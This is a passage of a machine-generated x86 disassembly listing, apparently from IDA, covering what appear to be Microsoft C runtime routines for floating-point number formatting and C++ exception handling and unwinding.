loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1


loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi


loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h


loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB9BC, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB9C4, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB9BC
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB9C4, ecx
		setl	cl
		mov	byte_4DB9C8, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB9C4, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32


loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al


loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------


loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h


loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB9C0, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB9C0, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB9C0, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB9C0, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------


loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9


loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi


loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2


loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------


loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------


loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h


loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax


loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6


loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2


loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB9CC
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DB9D0
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2


loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2


loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax


loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A


loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7


loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8


loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------


loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]


loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------


loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx


loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------


loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DB9D4, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC


loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax


loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4


loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------


loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053


loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053


loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053


loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057


loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------


loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax


loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3


loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2


loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510


loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------


loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h


loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------


loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]


loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E


loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB9CC
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DB9D0
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB9CC, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DB9D0, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]


loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E8o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278ECo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------


loc_42224A:				; DATA XREF: ___:004278E0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB9CC, eax
		mov	eax, [ebp-20h]
		mov	dword_4DB9D0, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------


loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------


loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------


